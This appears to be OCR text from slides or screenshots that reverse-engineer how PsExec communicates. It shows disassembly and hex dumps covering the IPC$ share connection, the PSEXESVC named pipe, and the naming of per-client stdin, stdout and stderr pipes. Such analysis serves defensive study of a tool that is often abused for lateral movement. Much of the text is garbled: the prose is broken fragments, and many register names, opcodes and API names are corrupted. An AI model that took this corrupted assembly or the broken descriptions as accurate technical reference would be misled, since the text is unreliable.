x { Named Pipg * {1 * ¢ sWriteFilex ReadFile, CreateFileYx 4 . « "xx .ss q % Pipe

1 CIRDR X A% 0% s _IPGI® . X C 4 X114 Clientt pipe- X < |

s & s O whkd XYy~ L1 x Ax T x $rer-ProcessCommunicationt - x X 4 ¢

. ~ .
P . X
D

PsExec
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a

CTX S L XX I X X ISR x DY 1k thipe -~ X AT
YNVNetConnection2W
il e
mov rg, ri5s
lea rdx, aSIpc 5 "\ BSA\AIPCS"
lea rcx, [rsp+6E8h+var_258]
call sub_7FF70EFAACI1O
mov rdx, [rsp+6E8h+lpPassword] ; lpPassword
lea rax, [rsp+6E8h+var_6C8]
mov [rsp+6E8h+NetResource.lplocallame], rax
lea rcx, [rsp+6E8h+NetResource] ; lpMetResource
lea rax, [rsp+6E8h+var_258]
mov gword ptr [rsp+6E8h+NetResource.dwScope], rbx
xor ro9d, rod ; dwFlags
mov [rsp+6E8h+hNetResource. lpRemoteName], rax
mov r8, rsi 3 1pUseriame
mov [rsp+6E8h+NetResource.dwDisplayType], ebx
mov [rsp+6E8h+hNetResource. IpComment], rbx
mov [rsp+6E8h+NetResource.dwlsage], 3
mov [rsp+6E8h+NetResource. lpProvider], rbx
call WhetAddConnection2W
movzx  ecx, cs:byte 7FF70F@2BOFS
test eax, eax
mov eax, 1
cmovz  ecx, eax
mov cs:byte 7FF70F02BOBFS, cl

_ Named Pipes -

e Xoe KX R X 24 X0 s Glientg |~ 1
r o *pipe ~ x5 « x 7 x <Named Pipg ®ervem Clientt = {1 *! {4, 4 * Aslyls *

A

¥ESERVER \[ipe\PSEXESVC
il s 5=
.text:00007FF6EA2BE7AQ
.text:00007FF6EA2BS7A@ loc_7FFGEAZBS7AD: ; hTemplateFile
.text:00007FF6EA2BS7AQ mov [rsp+oA47Bh+hTemplateFile], ri2
.text:00007FF6EA2BB7AS lea rcx, [rbp+@A37eh+Name] ; 1pFileName
.text:00007FF6EA2BS7AC mov [rsp+@A470h+dwFlagsAndAttributes], rl12d ; dwFlagsAndAttributes
.text:00007FF6EA2BS7B1 xor r9d, rod ; 1pSecurityAttributes
_text:00007FF6EA2BS7BA xor r8d, r8d ; dwShareMode
_text:00007FF6EAZBS7B7 mov [rsp+0AA70h+dwCreationDisposition], 3 ; dwCreationDisposition
_text:00007FF6EAZBS7BF mov edx, 0C00000BOh ; dwDesiredAccess
.text:00007FF6EA2BB7CA call cs:CreateFilel
.text:00007FF6EAZBS7CA mov cs:hObject, rax
.text:00007FF6EA2ZBB7D1 cmp rax, @FFFFFFFFFFFFFFFFh
.text:00007FF6EA2BS7DS jnz short loc_7FFGEA2B87F5

07BC4 O0D00TFFEEAZEBTC4: sub TFFEEAZBE410+3B4 (Synchronized with RIF)

00 00 00 0@ 00 00 00 00 00 08 00 B8 ................
31 60 39 @@ 32 00 2E @0 31 00 36 00 \.\.1.9.2...1.6.
31 6@ 37 6@ 2E 60 31 60 33 @0 34 8@ 8...1.7...1.3.4.
69 00 70 @@ 65 00 5C @0 50 09 53 0@ \.p.i.p.e.\.P.S.
45 80 53 8@ 56 00 43 00 00 00 B0 B0 E.X.E.S.V.C.....

XXl xSy k- BBrvert L o« XX . {0 o s v X SH o spipert L X |

S@rvert L S -

PsExe
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tdermestdin,stdout- x ¥ {1 . migeo! *r 1 ~ L HxPipert ' * L _

MIZE

.text:POPOTFFGEAZBEBBFA lea rax, asc_7FFBEA31F3C8 ; "."
.text:00007FF6EA2BEBFB test risb, rl15b

.text:000O7FFGEAZBEBBFE mov rdi, rsi

.text:00007FFEEA2BBCOL mov ebx, ril2d

.text:P00OTFFGEAZBBCO4 cmovnz rdi, rax

.text:00007FFGEAZBBCOS call cs:GetCurrentProcessId

.text:00007FFGEAZBBCOE mov [rsp+8A47oh+dwFlagsAndAttributes], eax
.text:00007FF6EA2BBC12 lea r9, aPsexesvc ; "PSEXESVC™
.text:00007FFE6EA2BEC1Y9 mov rg, rdi

.text:00007FF6EA2BBCIC mov qword ptr [rsp+BA470h+dwCreationDisposition], ri3
.text:0PRO7FF6EA2BEC21 lea rdx, aSPipeSsSDStdin ; "\\\\%s\\pipe\\%s-%s-%d-stdin"
.text:POOB7FFAEA2BBC28 lea rcx, [rbp+8A37@8h+Name] ; Buffer
.text:P00@7FF6EA2ZBSC2F call _strcat

.text:000B7FFEEA2BBC34 mov edx, 40000008h ; dwDesiredAccess
.text:00007FFAEA2BSC39 lea rcx, [rbp+8A37@h+Name] ; lpFileName
.text:POOB7FF6EAZBECAD call create_the_pipe

.text:00007FF6EA2BECAS mov cs:qword 7FF6EA3361F@, rax

.text:BOOO7FFG6EA2BSCAC cmp rax, OFFFFFFFFFFFFFFFFh

.text:00007FFGEAZBBCS® jnz short loc_7FFGEAZBBCSA

| 0000T7FFEEA2BEC40: sub 7FFEEA2ZB8410+830 (Synchronized with RIP)

00 39 60 32 00 2E 0@ 31 80 36 00
00 37 00 2E 00 31 @0 33 @0 34
0@ 706 60 65 00 5C 08 50 88 53 00
0@ 53 @@ 56 00 43 00 2D 00 44 @0
00 54 00 AF 00 50 @@ 2D 80 55 00
00 51 00 4D 00 4A 00 2D 9@ 31 @0
00 38 0@ 2D 00 73 00 74 00 64 00
00 00 00 00 00 00 00 00 V0 00 B0

—
O W

W I W XT
S - I

|
AP CcCoOWwE

He = T M om o 0

11 ,5. C0Cientt 1 L «~SL *ie b 4 v 2XT40s o« Fpipert 21 "rs o~ 2 3 14 ]

> v ~ >

. X Dipel » 48 XXX P s " x @liéntt - xS . _ tonsolgt L+l X« { ¥ s

Y X s x ¥ . XX | Tpipem stdin

\\ <server_ip >\ pipe \ PSEXESVC <client_hostname i - stdin/out/err

@ S . X L PSEXeE « oASX SX{MSprSs | px Fipd " X 1s

~ v

Fdos 227 4 400 W pipet _~ 1 «dtdermtstdoutX 1 rxAgipere 4 Tk 4 s XX 1ox 00X

> ~ ~ >

Tt stdin,stdoutr ! X T ¢ ¢ LSTHe IR TIXX 4 0 X"k 4 de-mhreads | X L

Yo T wssX L s L Ss { oo oS Xy sl g Stderr

>

b XU L X T sl K JoonsolgE L e X« 4 TSE D osE X DX P { ¢ MK ]s

¥ 1L .sX
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